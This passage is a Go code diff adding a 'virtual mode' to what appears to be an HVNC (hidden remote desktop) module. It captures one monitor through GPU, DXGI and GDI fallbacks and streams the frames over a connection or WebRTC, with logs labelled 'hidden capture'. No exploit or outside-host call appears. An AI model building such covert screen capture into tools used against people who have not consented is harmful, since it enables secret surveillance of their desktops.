virtual mode
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@@ -1608,6 +1608,175 @@ func NowHVNC(ctx context.Context, env *rt.Env) error {
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return captureAndSendHVNC(ctx, env)
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}
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func NowVirtual(ctx context.Context, env *rt.Env) error {
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if env.Cfg.DisableCapture {
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return sendBlackFrameVirtual(ctx, env)
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}
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if VirtualMonitorCount() <= 0 {
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return nil
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}
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return captureAndSendVirtual(ctx, env)
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}
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func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
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defer func() {
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if r := recover(); r != nil {
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log.Printf("hidden capture: panic in captureAndSendVirtual: %v", r)
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}
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}()
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t0 := time.Now()
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if frame, captureDur, encodeDur, used, err := VirtualTryDirectH264Frame(); used {
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if err == nil {
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if len(frame.Data) == 0 {
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return nil
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}
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return virtualSendCompletedFrame(ctx, env, frame, t0, captureDur, encodeDur)
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}
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log.Printf("hidden capture: direct GPU path unavailable: %v", err)
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}
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// Virtual mode is normal remote desktop restricted to one monitor. Start
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// with that exact capture stack; specialized paths are fallbacks only.
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img, err := VirtualCaptureNormal()
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if err != nil {
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img, err = VirtualCaptureDisplay()
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if err != nil {
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VirtualResetDXGI()
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img, err = VirtualCaptureGDI()
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if err != nil {
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img, err = VirtualCaptureDisplayFallback()
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}
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}
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}
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if err != nil {
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log.Printf("hidden capture: all capture methods failed: %v (sending black frame)", err)
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return sendBlackFrameVirtual(ctx, env)
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}
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if img == nil {
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log.Printf("hidden capture: capture returned nil image (sending black frame)")
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return sendBlackFrameVirtual(ctx, env)
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}
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captureDur := time.Since(t0)
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willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
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var slotAcquired bool
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if !willSendViaWebRTC && !AcquireFrameSlot() {
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PutRGBA(img)
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return nil
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}
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slotAcquired = !willSendViaWebRTC
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quality := jpegQuality()
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frame, encodeDur, err := buildFrameHVNC(img, 0, quality)
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PutRGBA(img)
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img = nil
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if err != nil {
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if slotAcquired {
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ReleaseFrameSlot()
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}
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return err
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}
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now := time.Now()
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fps := frameFPS(now)
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if fps <= 0 {
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fps = 1
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}
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frame.Header.FPS = fps
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if ctx.Err() != nil {
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if slotAcquired {
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ReleaseFrameSlot()
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}
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return nil
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}
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if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
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dur := time.Second / time.Duration(fps)
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if dur <= 0 {
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dur = 33 * time.Millisecond
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}
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if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
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log.Printf("webrtc: write hidden h264 failed: %v", werr)
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}
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if slotAcquired {
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ReleaseFrameSlot()
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}
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return nil
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}
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if !slotAcquired {
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if !AcquireFrameSlot() {
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return nil
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}
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slotAcquired = true
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}
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sendStart := time.Now()
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err = wire.WriteMsg(ctx, env.Conn, frame)
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sendDur := time.Since(sendStart)
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if err != nil {
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ReleaseFrameSlot()
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}
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if shouldLogFrame(now) {
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total := time.Since(t0)
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log.Printf("hidden capture: stream format=%s size=%d cap=%s enc=%s send=%s total=%s",
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frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
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}
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return err
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}
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func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Frame, t0 time.Time, captureDur, encodeDur time.Duration) error {
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now := time.Now()
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fps := frameFPS(now)
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if fps <= 0 {
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fps = 1
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}
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frame.Header.FPS = fps
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if ctx.Err() != nil {
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return nil
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}
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if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
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dur := time.Second / time.Duration(fps)
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if dur <= 0 {
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dur = 33 * time.Millisecond
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}
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if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
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log.Printf("webrtc: write hidden h264 failed: %v", werr)
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}
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return nil
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}
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if !AcquireFrameSlot() {
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return nil
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}
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sendStart := time.Now()
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err := wire.WriteMsg(ctx, env.Conn, frame)
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sendDur := time.Since(sendStart)
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ReleaseFrameSlot()
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if shouldLogFrame(now) {
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total := time.Since(t0)
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log.Printf("hidden capture: direct h264 format=%s size=%d cap=%s enc=%s send=%s total=%s",
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frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
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}
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return err
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}
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func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
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if ctx.Err() != nil {
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return nil
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}
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img := image.NewRGBA(image.Rect(0, 0, 64, 64))
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quality := 60
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frame, _, err := buildFrameHVNC(img, 0, quality)
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if err != nil {
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return err
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}
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frame.Header.FPS = 1
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return wire.WriteMsg(ctx, env.Conn, frame)
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}
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func supportsBackstageCapture() bool {
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count := HVNCMonitorCount()
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return count > 0
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